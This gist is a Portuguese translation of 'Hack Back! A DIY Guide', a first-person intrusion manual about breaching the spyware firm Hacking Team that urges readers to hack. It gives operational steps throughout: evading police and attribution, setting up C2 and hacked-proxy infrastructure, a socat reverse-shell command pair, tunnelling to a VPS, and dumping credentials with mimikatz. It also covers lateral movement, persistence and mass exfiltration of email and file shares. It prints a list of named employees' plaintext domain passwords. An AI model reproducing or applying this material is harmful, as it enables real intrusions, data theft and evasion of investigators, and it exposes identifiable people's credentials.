Skip to content

Instantly share code, notes, and snippets.

@iannsp
Last active May 9, 2023 15:36
Show Gist options
  • Save iannsp/66e0db0cbb568990b3b8a7ef6dae7b16 to your computer and use it in GitHub Desktop.
Save iannsp/66e0db0cbb568990b3b8a7ef6dae7b16 to your computer and use it in GitHub Desktop.
es to pt-br translation of http://pastebin.com/raw/GPSHF04A
_ _ _ ____ _ _
| | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
| |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
| _ | (_| | (__| < | |_) | (_| | (__| <|_|
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
Um Guia Faça Você Mesmo
,-._,-._
_,-\ o O_/;
/ , ` `|
| \-.,___, / `
\ `-.__/ / ,.\
/ `-.__.-\` ./ \'
/ /| ___\ ,/ `\
( ( |.-"` '/\ \ `
\ \/ ,, | \ _
\| o/o / \.
\ , / /
( __`;-;'__`) \\
`//'` `||` `\
_// || __ _ _ _____ __
.-"-._,(__) .(__).-""-. | | | | |_ _| |
/ \ / \ | | |_| | | | |
\ / \ / | | _ | | | |
`'-------` `--------'` __| |_| |_| |_| |__
#antisec
original: pastebin.com/raw/GPSHF04A
----[ 1 - Introdução ]-----------------------------------------------------------
Você poderá notar a mudança de idioma nesta edição mais recente[1]. O mundo
fala inglês e já existem livros, palestras, guias e informações sobre hacking.
Neste mundo há muitos hackers melhores do que eu, mas, infelizmente,
eles desperdiçam seus conhecimentos trabalhando para contratantes de serviços de "defesa",
para as agências de inteligência, para proteger os bancos e corporações e
para defender a ordem estabelecida. A cultura hacker nasceu nos EUA como uma
contracultura, mas hoje é só uma questão de aparência, pois todo o ideal foi assimilado
pelo sistema. Ao menos podem vestir uma camiseta, pintar o cabelo de azul,
usar seus apelidos hacker e sentir-se rebeldes enquanto trabalham para o
sistema.
Antigamente alguém tinha que entrar de penetra nos escritórios para vazar os documentos [2].
Era necessario uma arma para roubar um banco. Hoje em dia você pode fazer isso da
sua cama com um laptop nas mãos [3][4]. Como disse a CNT [histórico sindicato anarquista
espanhol] depois do hacking do Grupo Gamma: "nós tentamos dar um passo a frente utilizando
novas formas de luta "[5]. O hacking é uma ferramenta poderosa, vamos aprender e
vamos lutar!
[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
[3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html
[4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
[5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group
----[ 2 - Hacking Team ]----------------------------------------------------------
O Hacking Team era uma empresa que colaborou com governos para hackear e espionar jornalistas,
ativistas, opositores políticos e outras ameaças ao seu poder [1][2][3][4][5][6][7][8][
9][10][11] e, muito de vez em quando, criminosos e terroristas [12].
O CEO do Hacking Team, David Vincenzetti, gostava de colocar no rodapé de seus emails o slogan
fascista "boia chi molla", mas que seria mais verdadeiro se utilizasse "boia chi vende RCS".
Eles afirmavam ter tecnologia para resolver o "problema" do Tor e da darknet [13], porém,
como ainda estou livre, tenho minhas dúvidas sobre a eficácia dessa tecnologia.
[1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
[2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
[3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
[4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
[5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
[6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
[7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
[8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
[9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
[10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
[11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
[12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
[13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web
--[ 3 - Tenham cuidado lá fora ]----------------------------------------------
Infelizmente nosso mundo está de cabeça para baixo. Você enriquece por fazer
coisas ruins e te prendem por fazer coisas boas. Felizmente, graças ao trabalho duro
como das pessoas do "Projeto Tor" [1], podemos evitar que sejamos presos através de alguns
procedimentos bem simples:
1) Criptografe seu disco rígido [2]
Eu acredito que quando a polícia chegar para apreender o seu computador,
isso significa que você já cometeu vários erros, porem, é melhor prevenir do que remediar.
2) Utilize uma máquina virtual e roteie todo o tráfego utilizando Tor
Com isso você consegue duas coisas: A primeira é que todas as conexões serão
anonimizadas através da rede Tor. E a segunda é separar sua vida pessoal de sua
anônima e,assim, evitar que você misture as duas coisas por acidente.
Você usar projetos como o Whonix [3], o Tails [4], Qubes TorVM [5],
ou algo personalizado [6]. No link [7] há uma comparação detalhada.
3) (Opcional) Não se conectar diretamente através da rede Tor
A rede Tor não é uma panaceia. O horário conectado ao Tor pode ser relacionado
com as horas em que seu codinome hacker está online. Também já houveram ataques bem sucedidos contra a rede Tor[8].
A sugestão é que você se conecte a rede Tor através do wifi de outras pessoas. Wifislax [9] é uma distribuição linux
com muitas ferramentas para realizar isso. Outra opção é utilizar uma VPN ou
um proxy [10] e se conectar a rede Tor através deles, mas isso não vai impedir o
relacionamento de suas atividades hacker com as atividades da internet da sua casa
(algo que já foi utilizado como evidencia contra Jeremy Hammond [11],
por exemplo).
A realidade é que ainda que a rede Tor não seja perfeita, ela funciona muito bem.
Quando eu era jovem e temerário fiz muitas coisas sem nenhuma proteção
(me refiro a hacking) além do Tor. Coisas que a polícia fez de tudo para investigar, sempre
sem sucesso e nunca tive problemas.
[1] https://www.torproject.org/
[2] https://info.securityinabox.org/es/chapter-4
[3] https://www.whonix.org/
[4] https://tails.boum.org/
[5] https://www.qubes-os.org/doc/privacy/torvm/
[6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
[7] https://www.whonix.org/wiki/Comparison_with_Others
[8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
[9] http://www.wifislax.com/
[10] https://www.torproject.org/docs/bridges.html.en
[11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html
----[ 3.1 - Infraestrutura ]---------------------------------------------------
Não hackeie diretamente através dos nós de saída da rede Tor. Eles estão em listas negras,
são lentos e não permitem conexões reversas. O Tor serve para proteger e agir
anonimamente ao se conectar a infraestrutura que uso para hackear, que é:
1) Nomes de domínio
Utilize para executar command & control (C2) e para criar túneis de DNS
na criação de uma saida segura.
2) Servidores Estáveis
Servem como servidores de C2, para shells reversas, para lançar ataques e
receber o resultado.
3) Servidores Hackeados
Eles servem como proxy para esconder o IP dos servidores estáveis, e para
quando quero uma conexão rápida sem proxy. Por exemplo para escanear portas,
escanear toda a internet ou baixar uma base de dados utilizando SQL injection
e etc.
Claro que você vai precisar pagar os servidores também de uma forma anônima,
como bitcoin (se usado com cuidado).
----[ 3.2 - Atribuição ]--------------------------------------------------------
Muitas vezes surge uma notícia atribuindo um ataque a um grupo de hackers governamentais
(os "APTs"i/Advanced Persistent Threat) por que eles utilizam sempre as mesmas
ferramentas, deixam os mesmos traços e até se utilizam da mesma infraestrutura
(domínios, email, etc). Eles são negligentes porque podem hackear sem sofrer
consequências legais.
Não quero tornar mais fácil o trabalho da polícia ao relacionar o trabalho do
Hacking Team com os hackings e nicknames do meu trabalho diário como black hat,
assim, eu usei servidores e domínios novos, registrados com correios novos e pago com novos endereços de bitcoin.
Além disso, utilizei somente ferramentas públicas e coisas que escrevi especialmente para
este ataque. Inclusive mudei minha maneira de fazer algumas coisas para não
deixar os mesmos traços forenses de outros ataques.
--[ 4 - Coletar Informação ]---------------------------------------------------
Ainda que tediosa, essa etapa é muito importante por que quanto maior for a
superfície do ataque, mais fácil será encontrar uma falha.
----[ 4.1 - Informação Técnica ]-----------------------------------------------
Algumas ferramentas técnicas:
1) Google
Você pode encontrar muitas coisas inesperadas com um algumas boas pesquisas
bem escolhidas. Por exemplo, a identidade de DPR [1]. A Bíblia de como usar o
google para hackear é o livro "Google Hacking for Penetration Testers".
Você também pode encontrar um breve resumo em espanhol em [2].
2) A enumeração de subdomínios
Muitas vezes, o domínio principal de uma empresa é hospedado por um terceiro, e
você está recebendo as faixas de IP da empresa, graças a subdomínios como
mx.company.com, ns1.company.com etc. Também, às vezes há coisas que não deveriam
ser expostos a subdomínios "escondidos". Ferramentas úteis para
descobrir domínios e subdomínios são fierce [3], theHarvester [4] e
Recon-ng [5].
3) Pesquisa e pesquisa inversa de Whois
Com uma pesquisa inversa utilizando o Whois de um domínio ou intervalo
IPs de uma empresa, você pode encontrar outros de seus domínios e intervalos de
IPs. Que eu saiba, não há nenhuma maneira gratuita para fazer pesquisas inversas de
whois, além de um "hack" com o Google:
Google Hacking Database (GHDB)
"via della moscova 13" site:www.findip-address.com
"via della moscova 13" site:domaintools.com
4) Varredura de portas e impressões digitais
Ao contrário de outras técnicas, esta fala especificamente dos servidores da
empresa. Incluo nesta seção, porque não é um ataque, é apenas uma forma de
coletar informações. Os IDS das empresas podem gerar um alerta ao
escanear as portas, mas você não precisa se preocupar porque toda a internet
está constantemente sendo escaneada.
Para escanear, o Nmap [6] é preciso , e pode fazer a impressão digital da maioria dos
serviços descoberto. Para as empresas com intervalos de IPs grandes,
ZMAP [7] ou masscan [8] são mais rápidos. WhatWeb [9] ou BlindElephant [10]
podem fazer a impressão digital de sites.
[1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
[2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
[3] http://ha.ckers.org/fierce/
[4] https://github.com/laramies/theHarvester
[5] https://bitbucket.org/LaNMaSteR53/recon-ng
[6] https://nmap.org/
[7] https://zmap.io/
[8] https://github.com/robertdavidgraham/masscan
[9] http://www.morningstarsecurity.com/research/whatweb
[10] http://blindelephant.sourceforge.net/
----[ 4.2 - Informação Social ]------------------------------------------------
Para a engenharia social, é muito útil pesquisar informações dos funcionários,
seus cargos, informações de contato, sistema operacional, browser, plugins,
software, etc. Alguns dos recursos são:
1) Google
Aqui o google tambem é uma das ferramentas mais úteis.
2) theHarvester e recon-ng
Já mencionei na seção anterior, mas tem muito mais
funcionalidade. Você pode encontrar um monte de informações de forma rápida e
automatizada. Vale a pena ler toda sua documentação.
3) LinkedIn
Pode-se encontrar muita informação sobre os funcionários aqui. Os recrutadores
das empresas são os mais propensos a aceitar suas solicitações.
4) Data.com
Anteriormente conhecico como jigsaw. Tem a informação de contato de muitos
funcionários.
5) Metadados dos arquivos
Pode ser encontrada muita informação sobre os funcionários e seus sistemas nos
metadados dos arquivos já publicados pela empresa. As ferramentas úteis para
encontrar arquivos no site da empresa e extrair os metadados são:
metagoofil [1] e FOCA [2].
[1] https://github.com/laramies/metagoofil
[2] https://www.elevenpaths.com/es/labstools/foca-2/index.html
----[ 5 - Entrando na Rede ]----------------------------------------------------
Há várias maneiras de entrar. Já que o método que usei contra o
Hacking Team é pouco comum e muito mais trabalhoso do que o que é normalmente
necessário, vou falar um pouco dos métodos mais comuns, os quais recomendo
tentar primeiro.
----[ 5.1 - Engenharia Social ]-------------------------------------------------
Engenharia social, especificamente spear phishing, é responsável pela
maioria das invasoes hoje. Para uma introdução em espanhol, veja [1].
Para obter mais informações em inglês, veja [2] (a terceira parte, "Targeted
Ataques"). Para histórias divertidas de engenharia social das gerações
passadas, ver [3]. Eu não queria tentar spear phishing contra Hacking Team,
porque seu negócio é ajudar os governos usar spear phish contra os seus opositores.
Desta forma, existe um risco muito alto de que o Hacking Team reconheça e investigue
este tipo de ataque.
[1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
[2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
[3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf
----[ 5.2 - Comprar Acesso ]----------------------------------------------------
Graças aos russos incansáveis e seus kits de exploits, traficantes de tráfego
e pastores de bots, muitas empresas já possuem computadores comprometidos dentro de suas
redes. Quase todas as empresas da Fortune 500, com as suas enormes redes, já têm bots dentro.
No entanto, Hacking Team é uma empresa muito pequena, e a maioria dos
funcionários são especialistas em segurança de computadores, logo, há
pouca probabilidade de que já estivessem comprometidos.
----[ 5.3 - Exploração Técnica ]-----------------------------------------------
Depois de hackear Gamma Group, descrevi um processo para pesquisar vulnerabilidades[1].
Hacking Team tem um intervalo de IP público:
inetnum: 93.62.139.32 - 93.62.139.47
descr: HT public subnet
Hacking Team tinha muito pouco exposto à internet. Por exemplo, diferente
do Gamma Group, seu site de suporte ao cliente necessita de um certificado para se
conectar. O que tinha era o seu principal site (um blog Joomla que Joomscan
[2] não revelou nenhuma falha grave), um servidor de email, dois roteadores, dois dispositivos VPN, e um dispositivo para a filtragem de
spam.
Então, eu tinha três opções: encontrar um 0day em Joomla, encontrar um 0day
em postfix, ou encontrar um 0day em um dos sistemas embarcados. Um 0day de
um sistema embarcado parecia a opção mais atingível, e após duas semanas de
trabalho de engenharia reversa, eu consegui um exploit remoto de root. Dado que
as vulnerabilidades ainda não foram corrigidas, não darei mais detalhes.
Para mais informações sobre como pesquisar essas vulnerabilidades, consulte
[3] e [4].
[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] http://sourceforge.net/projects/joomscan/
[3] http://www.devttys0.com/
[4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A
--[ 6 - Estar Preparado ]-------------------------------------------------------
Trabalhei muito e fiz testes antes de usar o exploit contra o Hacking Team.
Escrevi um firmware com backdoor e compilei várias ferramentas de pós-exploração
para o sistema embarcado. O backdoor serve para proteger o exploit.
Usar o exploit uma única vez e depois retornar pelo backdoor torna mais difícil
o trabalho de descobrir e corrigir as vulnerabilidades.
As ferramentas de pós-exploração que havia preparado eram:
1) busybox
Para todas as utilidades comuns ao UNIX que o sistema não possuia.
2) nmap
Para escanear e fazer a impressão digital da rede interna do Hacking Team
3) Responder.py
A ferramenta mais útil para atacar a redes de Windows quando se tem acesso à
rede interna mas não se tem um usuário de domínio.
4) Python
Para executar o Responder.py
5) tcpdump
Para rastrear o tráfego.
6) dsniff
Para espiar senhas de protocolos fracos como ftp e para fazer arpspoofing.
Gostaria de ter utilizado ettercap, escrito por ALoR e NaGA do Hacking Team, mas
era difícil compilá-lo para o sistema.
7) socat
para o shell confortável com pty:
mi_servidor: socat file:`tty`,raw,echo=0 tcp-listen:mi_puerto
sistema hackeado: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \
tcp:mi_servidor:mi_puerto
E para muitas coisas mais, é um canivete suíço das redes. Veja a seção de
exemplos de sua documentação.
8) screen
Assim como os pty de socat, não é estritamente necessário; queria apenas me sentir
como se estivesse em casa nas redes do Hacking Team.
9) Um servidor proxy SOCKS
Para usar junto com proxychains e poder acessar à rede interna com qualquer
outro programa.
10) tgcd
Para redirecionar portas, como do servidor SOCKS, através do firewall.
[1] https://www.busybox.net/
[2] https://nmap.org/
[3] https://github.com/SpiderLabs/Responder
[4] https://github.com/bendmorris/static-python
[5] http://www.tcpdump.org/
[6] http://www.monkey.org/~dugsong/dsniff/
[7] http://www.dest-unreach.org/socat/
[8] https://www.gnu.org/software/screen/
[9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
[10] http://tgcd.sourceforge.net/
O pior que poderia acontecer era que meu backdoor ou ferramentas de post-exploitation
deixassem o sistema instável, e fizessem que um empregado o investigasse.
Desta forma, passei uma semana testando meu exploit, backdoor e as ferramentas de
post-exploitation em redes de outras empresas vulneráveis antes de entrar na rede do
Hacking Team.
--[ 7 - Observar e Escutar ]---------------------------------------------------
Agora, dentro da rede interna, eu quis observar e pensar antes de dar o próximo passo.
Colocando o Responder.py em modo de análise (-A, para escutar sem enviar respostas envenenadas),
e executando o scanner lento com nmap.
--[ 8 - Base de dados NoSQL ]--------------------------------------------------
NoSQL, ou melhor, NoAutentication, tem sido um grande presente à comunidade hacker [1].
Quando me preocupo de que por fim tenham corrigido todas as falhas de omissão de
autenticação no MySQL[2][3][4][5], surgem novas bases de dados sem autenticação por
design. O Nmap encontra alguns na rede interna do Hacking Team:
27017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 47547
| totalSize = 49856643072
...
|_ version = 2.6.5
27017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 31987
| totalSize = 33540800512
| databases
...
|_ version = 2.6.5
Eram as bases de dados para instâncias de teste do RCS. O áudio gravado pelo RCS é
guardado em MongoDB com GridFS. A pasta áudio no torrent [6] vem daí. Espiavam,
sem querer, a eles mesmos.
[1] https://www.shodan.io/search?query=product%3Amongodb
[2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
[3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
[4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
[5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
[6] https://ht.transparencytoolkit.org/audio/
--[ 9 - Linhas Cruzadas ]-------------------------------------------------------
Embora tenha sido divertido escutar as gravações e assistir as imagens pela webcam do
Hacking Team desenvolvendo seu malware, isso não me foi muito útil. Suas frágeis cópias
de segurança foram a vulnerabilidade responsável por abrir suas portas. De acordo
com a documentação [1], seus dispositivos iSCSI devem estar em uma rede à parte,
mas o nmap encontrou alguns em sua sub-rede 192.168.1.200/24:
Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
...
3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:ht-synology.name
| Address: 192.168.200.66:3260,0
|_ Authentication: No authentication required
Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:synology-backup.name
| Address: 10.0.1.72:3260,0
| Address: 192.168.200.72:3260,0
|_ Authentication: No authentication required
O iSCSI necessita de um módulo de núcleo do sistema, e teria sido difícil compilá-lo para o
sistema embarcado. Reencaminhei a porta para montá-lo a partir de uma VPS:
VPS: tgcd -L -p 3260 -q 42838
Sistema embarcado: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
Agora o iSCSI encontra o nome iqn.2000-01.com.synology mas possui problemas na
hora de montá-lo porque crê que sua direção seja 192.168.200.72 ao invés de
127.0.0.1
A forma como a solucionei foi:
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
E agora, depois de:
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login
O arquivo do dispositivo aparece! Montamos:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
e encontramos cópias de segurança de varias máquinas virtuais. O servidor de
Exchange parece o mais interessante. É grande demais para baixá-lo, mas podemos
montá-lo remotamente e buscar arquivos interessantes:
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT
O offset, então, fica 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
agora em /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
encontramos o disco rígido da máquina virtual e o montamos:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
... e, por fim, descompactamos a "boneca russa" e podemos ver todos os
arquivos do antigo servidor Exchange em /mnt/part1
[1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf
--[ 10 - Sobre o backup e o Administrador de Domínio ]---------------------
O que mais me interessa no backup é buscar se existe uma senha ou um hash
que pode ser usado para acessar o servidor atual. Uso os pwdump,
cachedump, e lsadump [1] nos arquivos de registro. O lsadump encontra a
senha da conta de serviço do besadmin:
_SC_BlackBerry MDS Connection Service
0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8.
0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!...........
Uso proxychains [2] com o servidor socks no sistema embarcado e
smbclient [3] para para validar a senha:
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
Funcionou! A senha do besadmin ainda é valida, e é de um administrador local.
Uso meu proxy e psexec_psh do metasploit [4] para ter uma sessão de meterpreter.
Em seguida migro para um proceso de 64 bits, "load kiwi" [5],
"creds_wdigest",e eu ja tenho muitas senhas, incluindo a de administrador
de dominio:
HACKINGTEAM BESAdmin bes32678!!!
HACKINGTEAM Administrator uu8dd8ndd12!
HACKINGTEAM c.pozzi P4ssword <---- ¡vaya sysadmin!
HACKINGTEAM m.romeo ioLK/(90
HACKINGTEAM l.guerra 4luc@=.=
HACKINGTEAM d.martinez W4tudul3sp
HACKINGTEAM g.russo GCBr0s0705!
HACKINGTEAM a.scarafile Cd4432996111
HACKINGTEAM r.viscardi Ht2015!
HACKINGTEAM a.mino A!e$$andra
HACKINGTEAM m.bettini Ettore&Bella0314
HACKINGTEAM m.luppi Blackou7
HACKINGTEAM s.gallucci 1S9i8m4o!
HACKINGTEAM d.milan set!dob66
HACKINGTEAM w.furlan Blu3.B3rry!
HACKINGTEAM d.romualdi Rd13136f@#
HACKINGTEAM l.invernizzi L0r3nz0123!
HACKINGTEAM e.ciceri 2O2571&2E
HACKINGTEAM e.rabe erab@4HT!
[1] https://github.com/Neohapsis/creddump7
[2] http://proxychains.sourceforge.net/
[3] https://www.samba.org/
[4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
[5] https://github.com/gentilkiwi/mimikatz
--[ 11 - Copiando os Emails ]-----------------------------------------------
Agora que tenho a senha do administrador do domínio, tenho acesso aos
e-mails, o coração da empresa. Já que com cada passo que dou existe o risco
de detecção, faço o download dos emails antes de seguir explorando.
O Powershell faz com que seja fácil [1]. Curiosamente, encontrei um bug com
a manipulação de datas. Depois de conseguir os emails, demorei mais algumas semanas
para conseguir o código fonte e as demais coisas, já que entrava de vez em quando
para baixar os novos emails. O servidor era italiano, com as datas no
formato dia/mês/ano. Uso:
-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}
Com o New-MailboxExportRequest para baixar os novos emails (no caso todos os
emails a partir de dia 5 de junho. O problema é que diz que a data é
inválida se o dia é maior que 12 (imagino que isto se deve a que na
União Europeia o mês vem primeiro e não pode ser maior que 12). Parece que
os engenheiros da Microsoft apenas tinham testado seu software com sua
própria configuração regional.
[1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/
--[ 12 - Copiando os Arquivos ]-------------------------------------------------
Agora que sou administrador do domínio, também comecei a baixar os
recursos compartilhados usando meu proxy e a opção -Tc de smbclient, por
exemplo:
proxychains smbclient '//192.168.1.230/FAE DiskStation' \
-U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'
Assim baixei as pastas Amministrazione, FAE DiskStation, e FileServer pelo
torrent.
--[ 13 - Introdução ao Hacking de Dominios de Windows ]-----------------------
Antes de seguir contando a história desses fodidos de merda, vale dizer algo para
conhecimento para o ataque a redes Windows.
----[ 13.1 - Movimento Lateral ]-----------------------------------------------
Vou fazer uma breve revisão das técnicas para se propagar dentro de uma rede
Windows. As técnicas para executar de forma remota precisam da senha ou do
hash de um administrador local no destino. Bem, a maneira mais comum de
de conseguir as ditas credenciais é usando mimikatz [1], principalmente
sekurlsa::logonpasswords e sekurlsa::msv, nos computadores em que já se tem
acesso administrativo. As técnicas de movimento "no local" também requerem
privilégios administrativos (salvo por runas). As ferramentas mais importantes
para a escalada de privilégios são o PowerUp [2] e o bypassuac [3].
[1] https://adsecurity.org/?page_id=1821
[2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
[3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1
Movimento Remoto:
1) psexec
A maneira básica e comprovada de movimento em redes windows. Pode utilizar
psexec [1], winexe [2], psexec_psh do metasploit [3], invoke_psexec do
powershell empire [4], ou o comando de windows "sc" [5]. Para o módulo de
metasploit, powershell empire e pth-winexe [6], são suficientes para descobrir
o hash sem saber a senha. É a maneira mais universal (funciona em qualquer
computador com a porta 445 aberta) mas é também a maneira mais perigosa.
Aparecerá nos registro de eventos tipo 7045 "Service Control Manager".
Nas minhas experiências, nunca notam que estão sendo hackeados, mas as
vezes notam depois e isso ajuda os investigadores a entender o que o hacker fez.
2) WMI
A maneira mais segura. O serviço WMI está habilitado em todos os computadores
com windows, menos nos servidores que o firewall bloqueia por padrão.
Você pode usar wmiexec.py [7], pth-wmis [6] (veja uma demonstração do wmiexec
e pth-wmis aqui [8]), invoke_wmi do powershell empire
[9], ou o comando de windows wmic [5]. Todos, exceto wmic necessitam somente
do hash.
3) PSRemoting [10]
É desabilitado por padrão, e não aconselho vocês a habilitar novos protocolos
que não sejam necessários. Porém se o sysadmin já habilitou, é muito
conveninente, especialmente se você usa powershell para tudo (e sim, deveria
usar powershell para quase tudo), e vai trocar [11] com powershell 5
e windows 10, porém hoje em dia o powershell torna fácil fazer tudo na RAM,
escapando do anti-virus e deixando poucas pistas).
4) Tarefas programadas
Pode executar programas remotos usando schtasks [5]. Funciona nas mesmas
situações que o psexec, e também deixa pistas conhecidas [12].
5) GPO
Se todos esses protocolos estão desabilitados ou bloqueados pelo firewall,
uma vez que você se torna o adminsitrador do domínio, pode usar GPO para ter
um prompt de login, instalar um msi, executar uma tarefa programada [13], ou
como veremos com o computador do Mauro Romeo [ sysadmin do Hacking Team],
habilitar WMI e abrir o firewall atraves de GPO.
[1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
[2] https://sourceforge.net/projects/winexe/
[3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
[4] http://www.powershellempire.com/?page_id=523
[5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
[6] https://github.com/byt3bl33d3r/pth-toolkit
[7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
[8] https://www.trustedsec.com/june-2015/no_psexec_needed/
[9] http://www.powershellempire.com/?page_id=124
[10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
[11] https://adsecurity.org/?p=2277
[12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
[13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py
Movimento "in situ":
1) Impersonalizando Tokens
Uma vez que você tenha acesso de administrador num computador, poderá
utilizar os tokens dos outros usuários para acessar os recursos do domínio.
Duas ferramentas para fazer isso são o incognito [1] e os comandos tokens::*
de mimikatz [2].
2) MS14-068
Se puder aproveitar uma falha de validação do kerberos para gerar um ticket
de administrador de domínio [3] [4] [5].
3) Pass the Hash
Se tem o hash mas o usuário não tem uma sessão iniciada você pode usar
sekurlsa:pth [2] para obter um ticket de usuário.
4) Injeção de Processos
Qualquer RAT(Remote Administration Tool) pode ser injetado em outro processo,
por exemplo o comando migrate do meterpreter e o pupy [6] ou psinject [7] do
powershell empire.
Você pode injetar no processo que tenha o token que você precisa.
5) runas
Isso as vezes se torna muito útil por que não precisa de privilégios de
administrador. O comando é parte do windows, mas se você não tem interface
gráfica deve usar o powershell [8].
[1] https://www.indetectables.net/viewtopic.php?p=211165
[2] https://adsecurity.org/?page_id=1821
[3] https://github.com/bidord/pykek
[4] https://adsecurity.org/?p=676
[5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
[6] https://github.com/n1nj4sec/pupy
[7] http://www.powershellempire.com/?page_id=273
[8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1
----[ 13.2 - Persistência ]-----------------------------------------------------
Uma vez que tenha conseguido o acesso, você vai desejar mante-lo. Realmente,
a persistência é desafio somente para filhos da puta como os membros do Hacking
Team que querem hackear ativistas e outras pessoas. Para hackear empresas, não falta
persistência por que as empresas nunca dormem. Eu sempre uso
"persistência" no estilo duqu 2, executando na RAM em alguns servidores que
tenha um uptime alto. Em uma situação hipotética em que todos reiniciam diariamente,
eu tenho as senhas e um ticket de ouro [1] para um acesso alternativo. Você pode ler
mais informaçãoes sobre os mecanismos de persistência para windows aqui [2][3][4].
Porém para hackear empresas não vão fazer falta alguma e aumentam o risco de ser
detectado.
[1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
[2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
[3] http://www.hexacorn.com/blog/category/autostart-persistence/
